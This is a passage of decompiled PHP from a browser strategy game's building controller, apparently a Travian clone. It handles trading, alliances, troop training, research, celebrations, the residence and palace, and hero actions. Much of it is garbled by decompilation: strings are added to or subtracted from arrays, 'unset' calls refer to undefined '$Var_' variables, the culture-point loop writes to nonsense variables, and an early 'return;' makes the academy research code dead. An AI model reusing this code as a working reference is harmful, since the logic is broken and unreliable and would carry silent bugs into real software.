) )                {                    $row = $m->getOffer( intval( $_GET['d'] ), $this->player->playerId, $this->data['selected_village_id'] );                    if ( $row != NULL )                    {                        $this->merchantProperty += "exits_num";                        $this->data -= "offer_merchants_count";                        $resources2 = explode( "|", $row['offer'] );                        $resources1 = explode( "|", $row['offer'] );                        list( $resources1, $resources2 ) = $resources1;                        $resourcesArray1 = explode( " ", $resources1 );                        $res = array( );                        $i = 0;                        $_c = sizeof( $resourcesArray1 );                        while ( $i < $_c )                        {                            $res[$i + 1] = $resourcesArray1[$i];                            ++$i;                        }                        foreach ( $res as $k => $v )                        {                            $this->resources[$k] += "current_value";                        }                        $this->queueModel->_updateVillage( FALSE, FALSE );                        $m->removeMerchantOffer( intval( $_GET['d'] ), $this->player->playerId, $this->data['selected_village_id'] );                    }                }                $this->merchantProperty['offers'] = $m->getOffers( $this->data['selected_village_id'] );                $m->dispose( );            }            else            {                if ( $this->selectedTabIndex == 3 && $this->isPost( ) && isset( $_POST['m2'] ) && is_array( $_POST['m2'] ) && sizeof( $_POST['m2'] ) == 4 && $this->gameMetadata['plusTable'][6]['cost'] <= $this->data['gold_num'] )                {                    $resources = array( "1" => intval( $_POST['m2'][0] ), "2" => intval( $_POST['m2'][1] ), "3" => intval( $_POST['m2'][2] ), "4" => intval( $_POST['m2'][3] ) );                    $oldSum = $this->resources[1]['current_value'] + $this->resources[2]['current_value'] + $this->resources[3]['current_value'] + $this->resources[4]['current_value'];                    $newSum = $resources[1] + $resources[2] + $resources[3] + $resources[4];                    if ( $newSum <= $oldSum )                    {                        foreach ( $resources as $k => $v )                        {                            $this->resources[$k]['current_value'] = $v;                        }                        $this->queueModel->_updateVillage( FALSE, FALSE );                        $m = new BuildModel( );                        $m->decreaseGoldNum( $this->player->playerId, $this->gameMetadata['plusTable'][6]['cost'] );                        $m->dispose( );                    }                }            }        }    }
    public function handleEmbassy( )    {        if ( 0 < intval( $this->data['alliance_id'] ) )        {        }        else        {            $this->embassyProperty = array( "level" => $this->buildings[$this->buildingIndex]['level'], "invites" => NULL, "error" => 0, "ally1" => "", "ally2" => "" );            $maxPlayers = $this->gameMetadata['items'][18]['levels'][$this->embassyProperty['level'] - 1]['value'];            $this->embassyProperty['ally1'] = $ally1 = trim( $_POST['ally1'] );            $this->embassyProperty['ally2'] = $ally2 = trim( $_POST['ally2'] );            if ( $ally1 == "" || $ally2 == "" )            {                $this->embassyProperty['error'] = $ally1 == "" && $ally2 == "" ? 3 : $ally1 == "" ? 1 : 2;            }            else            {                $m = new BuildModel( );                if ( !$m->allianceExists( $this->embassyProperty['ally1'] ) )                {                    $this->data['alliance_name'] = $this->embassyProperty['ally1'];                    $this->data['alliance_id'] = $m->createAlliance( $this->player->playerId, $this->embassyProperty['ally1'], $this->embassyProperty['ally2'], $maxPlayers );                    $m->dispose( );                }                else                {                    $this->embassyProperty['error'] = 4;                    $m->dispose( );                }            }            $invites_alliance_ids = trim( $this->data['invites_alliance_ids'] );            $this->embassyProperty['invites'] = array( );            if ( $invites_alliance_ids != "" )            {                $_arr = explode( "\n", $invites_alliance_ids );                foreach ( $_arr as $_s )                {                    $allianceName = explode( " ", $_s, 2 );                    $allianceId = explode( " ", $_s, 2 );                    list ( $allianceId, $allianceName ) = $allianceId;                    $this->embassyProperty['invites'][$allianceId] = $allianceName;                }            }            if ( !$this->isPost( ) )            {                if ( isset( $_GET['a'] ) && 0 < intval( $_GET['a'] ) )                {                    $allianceId = intval( $_GET['a'] );                    if ( isset( $this->embassyProperty['invites'][$allianceId] ) )                    {                        $m = new BuildModel( );                        $acceptResult = $m->acceptAllianceJoining( $this->player->playerId, $allianceId );                        if ( $acceptResult == 2 )                        {                            $this->data['alliance_name'] = $this->embassyProperty['invites'][$allianceId];                            $this->data['alliance_id'] = $allianceId;                            unset( $Var_4320['invites'][$allianceId] );                            $m->removeAllianceInvites( $this->player->playerId, $allianceId );                        }                        else if ( $acceptResult == 1 )                        {                            $this->embassyProperty['error'] = 15;                        }                        $m->dispose( );                    }                }                else                {                    if ( isset( $_GET['d'] ) && 0 < intval( $_GET['d'] ) )                    {                        $allianceId = intval( $_GET['d'] );                        if ( isset( $this->embassyProperty['invites'][$allianceId] ) )                        {                            unset( $Var_5112['invites'][$allianceId] );                            $m = new BuildModel( );                            $m->removeAllianceInvites( $this->player->playerId, $allianceId );                            $m->dispose( );                        }                    }                }            }        }    }
    public function handleWarrior( )    {        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;            if ( $researches_done == 1 && 0 < $this->gameMetadata['troops'][$troopId]['gold_needed'] )            {                $this->troopsUpgrade[$troopId] = $troopId;            }        }        $this->warriorMessage = "";        if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $cropConsume = 0;            $totalGoldsNeeded = 0;            foreach ( $_POST['tf'] as $troopId => $num )            {                $num = intval( $num );                if ( $num <= 0 || !isset( $this->troopsUpgrade[$troopId] ) )                {                    continue;                }                $totalGoldsNeeded += $this->gameMetadata['troops'][$troopId]['gold_needed'] * $num;                $cropConsume += $this->gameMetadata['troops'][$troopId]['crop_consumption'] * $num;            }            if ( $totalGoldsNeeded <= 0 )            {            }            else            {                $canProcess = $totalGoldsNeeded <= $this->data['gold_num'];                $this->warriorMessage = $canProcess ? 1 : 2;                if ( $canProcess )                {                    $troopsString = "";                    foreach ( $this->troops as $tid => $num )                    {                        if ( $tid == 99 )                        {                            continue;                        }                       $neededNum = isset( $this->troopsUpgrade[$tid], $_POST['tf'][$tid] ) ? $_POST['tf'][$tid] : 0;                        if ( $troopsString != "" )                        {                            $troopsString .= ",";                        }                        $troopsString .= $tid." ".$neededNum;                    }                    $m = new BuildModel( );                    $m->decreaseGoldNum( $this->player->playerId, $totalGoldsNeeded );                    $m->dispose( );                    $this->data -= "gold_num";                    $procParams = $troopsString."|0||||||1";                    $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']];                    $bLevel = $this->buildings[$this->buildingIndex]['level'];                    $needed_time = $buildingMetadata['levels'][$bLevel - 1]['value'] * 3600;                    $newTask = new QueueTask( QS_WAR_REINFORCE, 0, $needed_time );                    $newTask->villageId = 0;                    $newTask->toPlayerId = $this->player->playerId;                    $newTask->toVillageId = $this->data['selected_village_id'];                    $newTask->procParams = $procParams;                    $newTask->tag = array( "troops" => NULL, "hasHero" => FALSE, "resources" => NULL, "troopsCropConsume" => $cropConsume );                    $this->queueModel->addTask( $newTask );                }            }        }    }
    public function handleTroopBuilding( )    {        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $this->troopsUpgradeType = QS_TROOP_TRAINING;        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;              if ( $researches_done == 1 && $this->_canTrainInBuilding( $troopId, $itemId ) )            {                $this->troopsUpgrade[$troopId] = $troopId;            }        }        if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            foreach ( $_POST['tf'] as $troopId => $num )            {                $num = intval( $num );                if ( $num <= 0 || !isset( $this->troopsUpgrade[$troopId] ) || $this->_getMaxTrainNumber( $troopId, $itemId ) < $num )                {                    continue;                }                $timeFactor = 1;                if ( $this->gameMetadata['troops'][$troopId]['is_cavalry'] == TRUE )                {                    $flvl = $this->_getMaxBuildingLevel( 41 );                    if ( 0 < $flvl )                    {                        $timeFactor -= $this->gameMetadata['items'][41]['levels'][$flvl - 1]['value'] / 100;                    }                }                $troopMetadata = $this->gameMetadata['troops'][$troopId];                $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) * $timeFactor );                $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                $newTask->threads = $num;                $newTask->villageId = $this->data['selected_village_id'];                $newTask->buildingId = $this->buildProperties['building']['item_id'];                $newTask->procParams = $troopId;                $newTask->tag = array( "1" => $troopMetadata['training_resources'][1] * $this->buildingTribeFactor * $num, "2" => $troopMetadata['training_resources'][2] * $this->buildingTribeFactor * $num, "3" => $troopMetadata['training_resources'][3] * $this->buildingTribeFactor * $num, "4" => $troopMetadata['training_resources'][4] * $this->buildingTribeFactor * $num );                $this->queueModel->addTask( $newTask );            }        }    }
    public function handleAcademy( )    {        $this->troopsUpgradeType = QS_TROOP_RESEARCH;        $this->troopsUpgrade = array( "available" => array( ), "soon" => array( ) );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;              if ( $researches_done == 0 )            {                $this->troopsUpgrade[$this->_canDoResearches( $troopId ) ? "available" : "soon"][] = $troopId;            }        }        if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && $this->_canDoResearches( intval( $_GET['a'] ) ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $troopId = intval( $_GET['a'] );            $buildingMetadata = $this->gameMetadata['troops'][$troopId];            return;            $calcConsume = intval( $buildingMetadata['research_time_consume'] / $this->gameSpeed );            $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );            $newTask->villageId = $this->data['selected_village_id'];            $newTask->procParams = $troopId;            $newTask->tag = $buildingMetadata['research_resources'];            $this->queueModel->addTask( $newTask );        }    }
    public function handleTownHall( )    {        $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']];        $bLevel = $this->buildings[$this->buildingIndex]['level'];        if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[QS_TOWNHALL_CELEBRATION] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            if ( intval( $_GET['a'] ) < 1 || 2 < intval( $_GET['a'] ) || intval( $_GET['a'] ) == 1 && $bLevel < $buildingMetadata['celebrations']['small']['level'] || intval( $_GET['a'] ) == 2 && $bLevel < $buildingMetadata['celebrations']['large']['level'] )            {            }            else            {                $key = intval( $_GET['a'] ) == 2 ? "large" : "small";                if ( !$this->isResourcesAvailable( $buildingMetadata['celebrations'][$key]['resources'] ) )                {                }                else                {                    $calcConsume = intval( $buildingMetadata['celebrations'][$key]['time_consume'] / $this->gameSpeed * ( 10 / ( $bLevel + 9 ) ) );                    $newTask = new QueueTask( QS_TOWNHALL_CELEBRATION, $this->player->playerId, $calcConsume );                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->procParams = intval( $_GET['a'] );                    $newTask->tag = $buildingMetadata['celebrations'][$key]['resources'];                    $this->queueModel->addTask( $newTask );                }            }        }    }
    public function handleResidencePalace( )    {        $this->selectedTabIndex = is_numeric( $_GET['t'] ) && 1 <= intval( $_GET['t'] ) && intval( $_GET['t'] ) <= 3 ? intval( $_GET['t'] ) : 0;        $_bid_ = $this->buildings[$this->buildingIndex]['item_id'];        if ( $this->selectedTabIndex == 0 )        {            if ( isset( $_GET['mc'] ) && !$this->data['is_capital'] && !$this->data['is_special_village'] && $_bid_ == 26 )            {                $this->data['is_capital'] = TRUE;                $m = new BuildModel( );                $m->makeVillageAsCapital( $this->player->playerId, $this->data['selected_village_id'] );                $m->dispose( );            }            $this->childVillagesCount = 0;            if ( trim( $this->data['child_villages_id'] ) != "" )            {                $this->childVillagesCount = sizeof( explode( ",", $this->data['child_villages_id'] ) );            }            $itemId = $this->buildings[$this->buildingIndex]['item_id'];            $buildingLevel = $this->buildings[$this->buildingIndex]['level'];            $this->troopsUpgradeType = QS_TROOP_TRAINING;            $this->_getOnlyMyTroops( );            $this->troopsUpgrade = array( );            $_arr = explode( ",", $this->data['troops_training'] );            foreach ( $_arr as $troopStr )            {                $attack_level = explode( " ", $troopStr );                $defense_level = explode( " ", $troopStr );                $researches_done = explode( " ", $troopStr );                $troopId = explode( " ", $troopStr );                list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;                  if ( $researches_done == 1 && $this->_canTrainInBuilding( $troopId, $itemId ) )                {                    $this->troopsUpgrade[] = array( "troopId" => $troopId, "maxNumber" => $this->_getMaxTrainNumber( $troopId, $itemId ), "currentNumber" => $this->_getCurrentNumberFor( $troopId, $itemId ) );                }            }            $this->showBuildingForm = FALSE;            if ( $buildingLevel < 10 || 2 <= $this->childVillagesCount && $_bid_ == 25 || 3 <= $this->childVillagesCount && $_bid_ == 26 || $this->childVillagesCount == 1 && $buildingLevel < 20 && $_bid_ == 25 || $this->childVillagesCount == 1 && $buildingLevel < 15 && $_bid_ == 26 || $this->childVillagesCount == 2 && $buildingLevel < 20 && $_bid_ == 26 )            {                $this->troopsUpgrade = array( );            }            else            {                if ( 1 < sizeof( $this->troopsUpgrade ) )                {                    if ( 1 <= $this->troopsUpgrade[0]['currentNumber'] || 3 <= $this->troopsUpgrade[1]['currentNumber'] )                    {                        $this->troopsUpgrade = array( );                    }                    else                    {                        if ( 0 < $this->troopsUpgrade[1]['currentNumber'] )                        {                            unset( $Var_4224[0] );                        }                    }                }                else if ( 3 <= $this->troopsUpgrade[0]['currentNumber'] )                {                    $this->troopsUpgrade = array( );                }                $this->showBuildingForm = 0 < sizeof( $this->troopsUpgrade );            }            if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )            {                foreach ( $_POST['tf'] as $troopId => $num )                {                    $num = intval( $num );                    $existsTroop = FALSE;                    foreach ( $this->troopsUpgrade as $troop )                    {                        if ( $troop['troopId'] == $troopId )                        {                            $existsTroop = TRUE;                            break;                            break;                        }                    }                    if ( $num <= 0 || !$existsTroop || $this->_getMaxTrainNumber( $troopId, $itemId ) < $num )                    {                        continue;                    }                    $troopMetadata = $this->gameMetadata['troops'][$troopId];                    $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) );                    $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                    $newTask->threads = $num;                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->buildingId = $this->buildProperties['building']['item_id'];                    $newTask->procParams = $troopId;                    $newTask->tag = $troopMetadata['training_resources'];                    $this->queueModel->addTask( $newTask );                }            }        }        else        {            if ( $this->selectedTabIndex == 1 )            {                $this->neededCpValue = $this->totalCpRate = $this->totalCpValue = 0;                $m = new BuildModel( );                $result = $m->getVillagesCp( $this->data['villages_id'] );                while ( $result->next( ) )                {                    //fix2  part f culture points calculations                     $cpRate = explode( " ", $result->row['cp'] );                    $this->cpValue = explode( " ", $result->row['cp'] );                    list ( $this->cpValue, $cpRate ) = $this->cpValue;                    $_39643752 += "cpValue";                    $_39643848 += "totalCpRate";                    $_39643880 += "totalCpValue";                    $_39643880 += "neededCpValue";                    }                $this->totalCpValue = floor( $this->totalCpValue );                $m->dispose( );            }            else            {                if ( $this->selectedTabIndex == 3 )                {                    $this->childVillages = array( );                    $m = new BuildModel( );                    $result = $m->getChildVillagesFor( trim( $this->data['child_villages_id'] ) );                    while ( $result != NULL && $result->next( ) )                    {                        $this->childVillages[$result->row['id']] = array( "id" => $result->row['id'], "rel_x" => $result->row['rel_x'], "rel_y" => $result->row['rel_y'], "village_name" => $result->row['village_name'], "people_count" => $result->row['people_count'], "creation_date" => $result->row['creation_date'] );                    }                    $m->dispose( );                }            }        }    }
    public function handleHerosMansion( )    {        $this->selectedTabIndex = isset( $_GET['t'] ) && is_numeric( $_GET['t'] ) && intval( $_GET['t'] ) == 1 ? intval( $_GET['t'] ) : 0;        if ( $this->selectedTabIndex == 0 )        {            $this->hasHero = 0 < intval( $this->data['hero_troop_id'] );            $this->troopsUpgradeType = QS_TROOP_TRAINING_HERO;            if ( !$this->hasHero )            {                $this->_getOnlyMyTroops( TRUE );                if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && isset( $this->troops[intval( $_GET['a'] )] ) && 0 < $this->troops[intval( $_GET['a'] )] && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                {                    $troopId = intval( $_GET['a'] );                    $troopMetadata = $this->gameMetadata['troops'][$troopId];                    $nResources = array( "1" => $troopMetadata['training_resources'][1] * 2, "2" => $troopMetadata['training_resources'][2] * 2, "3" => $troopMetadata['training_resources'][3] * 2, "4" => $troopMetadata['training_resources'][4] * 2 );                    if ( !$this->isResourcesAvailable( $nResources ) )                    {                    }                    else                    {                        $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) ) * 12;                        $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                        $newTask->procParams = $troopId." ".$this->data['selected_village_id'];                        $newTask->tag = $nResources;                        $this->queueModel->addTask( $newTask );                    }                }            }            else            {                if ( $this->isPost( ) && isset( $_POST['hname'] ) && trim( $_POST['hname'] ) != "" )                {                    $this->data['hero_name'] = trim( $_POST['hname'] );                    $m = new BuildModel( );                    $m->changeHeroName( $this->player->playerId, $this->data['hero_name'] );                    $m->dispose( );                }            }        }        else        {            if ( $this->selectedTabIndex == 1 )            {                $this->villageOases = array( );                $m = new BuildModel( );                $result = $m->getVillageOases( trim( $this->data['village_oases_id'] ) );                while ( $result != NULL && $result->next( ) )                {                    $this->villageOases[$result->row['id']] = array( "id" => $result->row['id'], "rel_x" => $result->row['rel_x'], "rel_y" => $result->row['rel_y'], "image_num" => $result->row['image_num'], "allegiance_percent" => $result->row['allegiance_percent'] );                }                $m->dispose( );                if ( !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                {                    $oasisId = intval( $_GET['a'] );                    $newTask = new QueueTask( QS_LEAVEOASIS, $this->player->playerId, floor( 21600 / $this->gameSpeed ) );                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->buildingId = $oasisId;                    $newTask->procParams = $this->villageOases[$oasisId]['rel_x']." ".$this->villageOases[$oasisId]['rel_y'];                    $this->queueModel->addTask( $newTask );                }                else                {                    if ( isset( $_GET['qid'] ) && 0 < intval( $_GET['qid'] ) )                    {                        $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['qid'] ) );                    }                }            }        }    }
    public function preRender( )    {        parent::prerender( );         /* if ( isset( $_GET['p'] ) )        {            $_41448384 .= "villagesLinkPostfix";        }        if ( isset( $_GET['vid2'] ) )        {             $this->villagesLinkPostfix .= "&t=".$this->selectedTabIndex;            $_41448784 .= "villagesLinkPostfix";        }         if ( 0 < $this->selectedTabIndex )        {            $this->villagesLinkPostfix .= "&t=".$this->selectedTabIndex;              // $ && _41448984 .= "villagesLinkPostfix";        }     */    }
    public function __getCoordInRange( $map_size, $x )    {        if ( $map_size <= $x )        {            $x -= $map_size;        }        else if ( $x < 0 )        {            $x = $map_size + $x;        }        return $x;    }
    public function __getVillageId( $map_size, $x, $y )    {        return $x * $map_size + ( $y + 1 );    }
    public function _getOnlyMyOuterTroops( )    {        $returnTroops = array( );        if ( trim( $this->data['troops_out_num'] ) != "" )        {            $t_arr = explode( "|", $this->data['troops_out_num'] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $t[1] == 0 - 1 )                    {                        continue;                    }                    if ( isset( $returnTroops[$t[0]] ) )                    {                        $returnTroops += $t[0];                    }                    else                    {                        $returnTroops[$t[0]] = $t[1];                    }                }            }        }        if ( trim( $this->data['troops_out_intrap_num'] ) != "" )        {            $t_arr = explode( "|", $this->data['troops_out_intrap_num'] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $t[1] == 0 - 1 )                    {                        continue;                    }                    if ( isset( $returnTroops[$t[0]] ) )                    {                        $returnTroops += $t[0];                    }                    else                    {                        $returnTroops[$t[0]] = $t[1];                    }                }            }        }        return $returnTroops;    }
    public function _getOnlyMyTroops( $toBeHero = FALSE )    {        $t_arr = explode( "|", $this->data['troops_num'] );        foreach ( $t_arr as $t_str )        {            $t2_arr = explode( ":", $t_str );            if ( $t2_arr[0] == 0 - 1 )            {                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $toBeHero && ( $t[0] == 99 || $t[0] == 7 || $t[0] == 8 || $t[0] == 9 || $t[0] == 10 || $t[0] == 17 || $t[0] == 18 || $t[0] == 19 || $t[0] == 20 || $t[0] == 27 || $t[0] == 28 || $t[0] == 29 || $t[0] == 30 || $t[0] == 106 || $t[0] == 107 || $t[0] == 108 || $t[0] == 109 || $t[0] == 57 || $t[0] == 58 || $t[0] == 59 || $t[0] == 60 ) )                    {                        continue;                    }                    if ( isset( $this->troops[$t[0]] ) )                    {                        $this->troops += $t[0];                    }                    else                    {                        $this->troops[$t[0]] = $t[1];                    }                }            }        }        if ( !$toBeHero && !isset( $this->troops[99] ) )        {            $this->troops[99] = 0;        }    }
    public function _getMaxBuildingLevel( $itemId )    {        $result = 0;        foreach ( $this->buildings as $villageBuild )        {            if ( $villageBuild['item_id'] == $itemId && $result < $villageBuild['level'] )            {                $result = $villageBuild['level'];            }        }        return $result;    }
    public function _getCurrentNumberFor( $troopId, $item )    {        $num = 0;        if ( isset( $this->troops[$troopId] ) )        {            $num += $this->troops[$troopId];        }        if ( isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item], $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item] ) )        {            $qts = $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item];            foreach ( $qts as $qt )            {                if ( $qt['proc_params'] == $troopId )                {                    $num += $qt['threads'];                }            }        }        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_REINFORCE );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK_PLUNDER );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK_SPY );        $num += $this->_getTroopCountInTransfer( $troopId, QS_CREATEVILLAGE );        $ts = $this->_getOnlyMyOuterTroops( );        if ( isset( $ts[$troopId] ) )        {            $num += $ts[$troopId];        }        return $num;    }
    public function _getTroopCountInTransfer( $troopId, $type )    {        $num = 0;        if ( isset( $this->queueModel->tasksInQueue[$type] ) )        {            $qts = $this->queueModel->tasksInQueue[$type];            foreach ( $qts as $qt )            {                $arr = explode( "|", $qt['proc_params'] );                $arr = explode( ",", $arr[0] );                foreach ( $arr as $arrStr )                {                    $tnum = explode( " ", $arrStr );                    $tid = explode( " ", $arrStr );                    list ( $tid, $tnum ) = $tid;                    if ( $tid == $troopId )                    {                        $num += $tnum;                    }                }            }        }        return $num;    }
    public function _getMaxTrainNumber( $troopId, $item )    {        $max = 0;        $_f = TRUE;        foreach ( $this->gameMetadata['troops'][$troopId]['training_resources'] as $k => $v )        {            $num = floor( $this->resources[$k]['current_value'] / ( $v * $this->buildingTribeFactor ) );            if ( $num < $max || $_f )            {                $_f = FALSE;                $max = $num;            }        }        if ( $troopId == 99 )        {            $buildingMetadata = $this->gameMetadata['items'][$this->buildings[$this->buildingIndex]['item_id']]['levels'][$this->buildProperties['building']['level'] - 1];            $_maxValue = $buildingMetadata['value'] - $this->troops[$troopId];            if ( isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']], $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']] ) )            {                $qts = $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']];                foreach ( $qts as $qt )                {                    if ( $qt['proc_params'] == $troopId )                    {                        $_maxValue -= $qt['threads'];                    }                }            }            if ( $_maxValue < $max )            {                $max = $_maxValue;            }        }        else if ( $item == 25 || $item == 26 )        {            $_maxValue = $troopId == 9 || $troopId == 19 || $troopId == 29 || $troopId == 108 || $troopId == 59 ? 1 : 3;            $_maxValue -= $this->_getCurrentNumberFor( $troopId, $item );            if ( $_maxValue < $max )            {                $max = $_maxValue;            }        }        return $max < 0 ? 0 : $max;    }
    public function _canTrainInBuilding( $troopId, $itemId )    {        foreach ( $this->gameMetadata['troops'][$troopId]['trainer_building'] as $buildingId )        {            if ( $buildingId == $itemId )            {                return TRUE;                break;            }        }        return FALSE;    }
    public function _canDoResearches( $troopId )    {        foreach ( $this->gameMetadata['troops'][$troopId]['pre_requests'] as $req_item_id => $level )        {            $result = FALSE;            foreach ( $this->buildings as $villageBuild )            {                if ( $villageBuild['item_id'] == $req_item_id && $level <= $villageBuild['level'] )                {                    $result = TRUE;                    break;                }            }            if ( !$result )            {                return FALSE;                break;            }        }        return TRUE;    }
    public function getNeededTime( $neededResources )    {        $timeInSeconds = 0;        foreach ( $neededResources as $k => $v )        {            if ( !( $this->resources[$k]['current_value'] < $v ) )            {                continue;            }            else if ( $this->resources[$k]['calc_prod_rate'] <= 0 )            {                return 0 - 1;            }            else            {                $time = ( $v - $this->resources[$k]['current_value'] ) / $this->resources[$k]['calc_prod_rate'];                if ( $timeInSeconds < $time )                {                    $timeInSeconds = $time;                }            }        }        return ceil( $timeInSeconds * 3600 );    }
    public function getActionText4( $neededResources, $url, $text, $queueTaskType, $buildLevel, $troopLevel )    {        if ( isset( $this->queueModel->tasksInQueue[$queueTaskType] ) )        {            return "<span class=\"none\">".buildings_p_plwait."</span>";        }        if ( $buildLevel <= $troopLevel )        {            return "<span class=\"none\">".buildings_p_needmorecapacity."</span>";        }        return !$this->isResourcesAvailable( $neededResources ) ? "<span class=\"none\">".buildings_p_notenoughres."</span>" : "<a class=\"build\" href=\"build.php?id=".$this->buildingIndex."&".$url."&k=".$this->data['update_key']."\">".$text."</a>";    }
    public function getActionText3( $neededResources, $url, $text, $queueTaskType )    {        if ( isset( $this->queueModel->tasksInQueue[$queueTaskType] ) )        {            return "<span class=\"none\">".buildings_p_plwait."</span>";        }        return !$this->isResourcesAvailable( $neededResources ) ? "<span class=\"none\">".buildings_p_notenoughres."</span>" : "<a class=\"build\" href=\"build.php?id=".$this->buildingIndex."&".$url."&k=".$this->data['update_key']."\">".$text."</a>";    }
    public function getActionText2( $neededResources )    {        $needUpgradeType = $this->needMoreUpgrades( $neededResources );        if ( 0 < $needUpgradeType )        {            switch ( $needUpgradeType )            {                case 2 :                    return "<span class=\"none\">".buildings_p_upg1."</span>";                case 3 :                    return "<span class=\"none\">".buildings_p_upg2."</span>";                case 4 :                    return "<span class=\"none\">".buildings_p_upg3."</span>";            }        }        if ( !$this->isResourcesAvailable( $neededResources ) )        {            $neededTime = $this->getNeededTime( $neededResources );            return "<span class=\"none\">".( 0 < $neededTime ? buildings_p_willenoughresat." ".( $neededTime )." ".time_hour_lang : buildings_p_notenoughres2 )."</span>";        }        return "";    }
    public function getActionText( $neededResources, $isField, $upgrade, $item_id )    {        $needUpgradeType = $this->needMoreUpgrades( $neededResources, $item_id );        if ( 0 < $needUpgradeType )        {            switch ( $needUpgradeType )            {                case 1 :                    return "<span class=\"none\">".buildings_p_upg0."</span>";                case 2 :                    return "<span class=\"none\">".buildings_p_upg1."</span>";                case 3 :                    return "<span class=\"none\">".buildings_p_upg2."</span>";                case 4 :                    return "<span class=\"none\">".buildings_p_upg3."</span>";            }        }        else        {            $pageNamePostfix = "2";            $link = "<a class=\"build\" href=\"village2.php?id=".$this->buildingIndex."&b=".$item_id."&k=".$this->data['update_key']."\">".buildings_p_create_newbuild."</a>";            $workerResult = $this->isWorkerBusy( $isField );            return $link.( "" );        }        $neededTime = $this->getNeededTime( $neededResources );        return "<span class=\"none\">".( buildings_p_notenoughres2 )."</span>";    }
    public function _canAcceptOffer( $needResources, $giveResources, $villageId, $onlyForAlliance, $allianceId, $maxTime, $distance )    {        if ( $villageId == $this->data['selected_village_id'] )        {            return 0;        }        if ( !$this->isResourcesAvailable( $giveResources ) )        {            return 1;        }        $needMerchantCount = ceil( ( $giveResources[1] + $giveResources[2] + $giveResources[3] + $giveResources[4] ) / $this->merchantProperty['capacity'] );        if ( $needMerchantCount == 0 || $this->merchantProperty['exits_num'] < $needMerchantCount )        {            return 2;        }        if ( $onlyForAlliance && ( intval( $this->data['alliance_id'] ) == 0 || $allianceId != intval( $this->data['alliance_id'] ) ) )        {            return 3;        }        if ( 0 < $maxTime && $maxTime < $distance / $this->merchantProperty['speed'] )        {            return 4;        }        return 5;    }
    public function getNextLink( )    {        $text = "»";        if ( $this->pageIndex + 1 == $this->pageCount )        {            return $text;        }        $link = "";        if ( 0 < $this->selectedTabIndex )        {            $link .= "t=".$this->selectedTabIndex;        }        if ( $link != "" )        {            $link .= "&";        }        $link .= "p=".( $this->pageIndex + 1 );        $link = "build.php?id=".$this->buildingIndex."&".$link;        return "<a href=\"".$link."\">".$text."</a>";    }
